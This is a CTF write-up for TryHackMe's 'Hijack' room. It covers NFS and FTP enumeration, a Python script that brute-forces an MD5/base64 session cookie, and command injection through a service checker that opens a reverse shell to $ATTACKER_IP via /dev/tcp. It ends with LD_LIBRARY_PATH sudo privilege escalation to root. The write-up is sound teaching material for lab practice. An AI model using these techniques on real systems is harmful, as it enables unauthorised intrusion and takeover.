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# Hijack Writeup
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THis is a writeup for the Tryhackme challenge [Hijack](https://tryhackme.com/room/hijack)
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## Enumeration
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First, nmap as follows:
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```sh
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nmap --min-rate 4000 -p- 10.10.16.106
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Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-21 11:56 CEST
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Nmap scan report for 10.10.16.106
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Host is up (0.063s latency).
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Not shown: 65526 closed tcp ports (conn-refused)
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PORT STATE SERVICE
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21/tcp open ftp
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22/tcp open ssh
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80/tcp open http
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111/tcp open rpcbind
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2049/tcp open nfs
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38490/tcp open unknown
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44511/tcp open unknown
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49338/tcp open unknown
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57526/tcp open unknown
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Nmap done: 1 IP address (1 host up) scanned in 18.56 seconds
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```
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Since there is an NFS I want to take a look at it.
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```sh
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showmount -e 10.10.16.106
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Export list for 10.10.16.106:
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/mnt/share *
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```
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So, there is a share I can mount in the following way
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```sh
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mkdir /tmp/nfsfiles
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sudo mount -t nfs 10.10.16.106: /tmp/nfsfiles
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```
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A look at the file permissions tells me, that a user with uid 1003 created the
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share. Therefore, a user with the same uid on the local attack machine, where
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the share has been mounted, is needed to get permissions to open the directory.
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```sh
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ls -l nfsfiles/mnt/
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drwx------ 2 1003 1003 4096 Aug 8 21:28 share
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```
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```sh
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sudo useradd hijack -u 1003 -m -s /bin/bash
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```
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Now switch to the user and take a look at the inside of the share.
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```sh
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sudo su hijack
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ls -la nfsfiles/mnt/share/
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total 12
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drwx------ 2 hijack hijack 4096 Aug 8 21:28 .
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drwxr-xr-x 3 root root 4096 Aug 8 21:28 ..
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-rwx------ 1 hijack hijack 46 Aug 8 21:28 for_employees.txt
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```
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Taking a look at the file provides the following
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```sh
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cat nfsfiles/mnt/share/for_employees.txt
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ftp creds :
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ftpuser:XXXXXXXXXXXXXXXXXXXXXXXX
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```
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Next up, using the credentials on the ftp server
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```sh
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ftp ftpuser@10.10.16.106
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Connected to 10.10.16.106.
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220 (vsFTPd 3.0.3)
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331 Please specify the password.
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Password:
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230 Login successful.
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Remote system type is UNIX.
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Using binary mode to transfer files.
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ftp> ls -la
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229 Entering Extended Passive Mode (|||38678|)
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150 Here comes the directory listing.
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drwxr-xr-x 2 1002 1002 4096 Aug 08 19:28 .
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drwxr-xr-x 2 1002 1002 4096 Aug 08 19:28 ..
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-rwxr-xr-x 1 1002 1002 220 Aug 08 19:28 .bash_logout
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-rwxr-xr-x 1 1002 1002 3771 Aug 08 19:28 .bashrc
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-rw-r--r-- 1 1002 1002 368 Aug 08 19:28 .from_admin.txt
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-rw-r--r-- 1 1002 1002 3150 Aug 08 19:28 .passwords_list.txt
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-rwxr-xr-x 1 1002 1002 655 Aug 08 19:28 .profile
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226 Directory send OK.
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```
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Two files are `.from_admin.txt` and
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`.password_list.txt` are of special interest . The former file contains the following
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```
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To all employees, this is "admin" speaking,
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i came up with a safe list of passwords that you all can use on the site, these passwords don't appear on any wordlist i tested so far, so i encourage you to use them, even me i'm using one of those.
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NOTE To rick : good job on limiting login attempts, it works like a charm, this will prevent any future brute forcing.
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```
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The latter is a list of random passwords the admin seems to have created earlier.
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## Exploitation
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At first I tried to circumvent the rate limiting, which took a lot of time and
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led nowhere in the end. The key is the `PHPSESSID` cookie, it looked a bit
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suspicious so I tried to decode it for the user I created on the page.
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```base64
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d2h4OmE4ZjVmMTY3ZjQ0ZjQ5NjRlNmM5OThkZWU4MjcxMTBj
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```
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decoded to
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```
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whx:a8f5f167f44f4964e6c998dee827110c
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```
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That hash looked a lot like an md5 hash, so I compared it to the password I used
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```sh
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echo -n "asdasd" | md5sum
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a8f5f167f44f4964e6c998dee827110c -
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```
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After that I created a Python script to hash & encode the cookie before iterating
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the list and in this way I got the correct password.
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```python
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import hashlib
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import base64
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import requests
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URL = "http://10.10.16.106/administration.php"
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with open ("./ftp/passwords_list.txt", 'r') as _f:
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data = [x.strip() for x in _f.readlines()]
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r = requests.get(URL)
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page_content = r.text
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print(r)
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for line in data:
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_hash = hashlib.md5(line.encode('utf-8')).hexdigest().encode('utf-8')
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concat_str = b'admin:' + _hash
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_b64hash = base64.b64encode(concat_str).decode()
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print(_b64hash)
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headers = { "Cookie": f"PHPSESSID={_b64hash}"}
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r = requests.get(URL, headers=headers)
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if len(r.text) > len(page_content):
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print("password: " + line)
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print("cookie: " + _b64hash)
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break
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```
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After login there is a `Service Status Checker` on the administration page. You
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can see the status of services/daemons installed on the box of the challenge through
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`systemctl status <command>`. My first impression was to just chain commands
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through `;` like `ssh
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; id`, but that ended in
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> Command injection detected, please provide a service.
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Most of the commonly used shells have boolean operators like `&&` and `||` as a
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condition for the previous exit status code. For example in bash you can check
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the status code of the last command that was executed via `echo $?`. That means `&&` is true if the previous command
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would return a `0` otherwise `||` is true and the command afterwards will be
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executed.
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These operators are not blocked by the page, it is possible to chain commands
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like this
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```sh
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sshd && bash -c "bash -i >& /dev/tcp/$ATTACKER_IP/4444 0>&1"
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```
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Catch the shell via `nc -lvnp 4444` and [upgrade
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it](https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys/).
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## Privilege Escalation
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On the target `config.php` contains credentials for the user rick.
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```php
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cat config.php
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<?php
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$servername = "localhost";
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$username = "rick";
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$password = "XXXXXXXXXXXXXXXXXXX";
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$dbname = "hijack";
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// Create connection
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$mysqli = new mysqli($servername, $username, $password, $dbname);
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// Check connection
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if ($mysqli->connect_error) {
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die("Connection failed: " . $mysqli->connect_error);
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}
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?>
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```
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So, I switched to the user using `su rick` and got the first flag inside
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`/home/rick/user.txt`. One of the first things to check on gained privileges is the current user's
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permissions on the availability of substituting other users, usually using
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sudo.
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```sh
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su rick
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Password:
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rick@Hijack:/var/www/html$ sudo -l
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[sudo] password for rick:
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Matching Defaults entries for rick on Hijack:
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env_reset, mail_badpass,
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secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
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env_keep+=LD_LIBRARY_PATH
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User rick may run the following commands on Hijack:
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(root) /usr/sbin/apache2 -f /etc/apache2/apache2.conf -d /etc/apache2
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```
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Checking permissions did provide the inability to write on any of the files that are contained in the command that can be run through sudo for user rick. That means,
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the next best thing to concentrate on is `env_keep+=LD_LIBRARY_PATH`.
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[Hacktricks' page on linux privilege
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escalation](https://book.hacktricks.xyz/linux-hardening/privilege-escalation)
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contains [a section for
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LD_LIBRARY_PATH](https://book.hacktricks.xyz/linux-hardening/privilege-escalation#ld_preload-and-ld_library_path).
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I Compiled the library and preloaded it on the same line as the available sudo
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command. Through this method I was able to spawn a root shell.
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```sh
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rick@Hijack:/tmp$ sudo LD_LIBRARY_PATH=/tmp /usr/sbin/apache2 -f /etc/apache2/apache2.conf -d /etc/apache2
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root@Hijack:/tmp#
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```
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The flag can be found inside the root directory
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```sh
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root@Hijack:/tmp# cat /root/root.txt
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██╗░░██╗██╗░░░░░██╗░█████╗░░█████╗░██╗░░██╗
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██║░░██║██║░░░░░██║██╔══██╗██╔══██╗██║░██╔╝
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███████║██║░░░░░██║███████║██║░░╚═╝█████═╝░
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██╔══██║██║██╗░░██║██╔══██║██║░░██╗██╔═██╗░
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██║░░██║██║╚█████╔╝██║░░██║╚█████╔╝██║░╚██╗
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╚═╝░░╚═╝╚═╝░╚════╝░╚═╝░░╚═╝░╚════╝░╚═╝░░╚═╝
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THM{XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX}
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```
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Happy Hacking!
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gurkenhabicht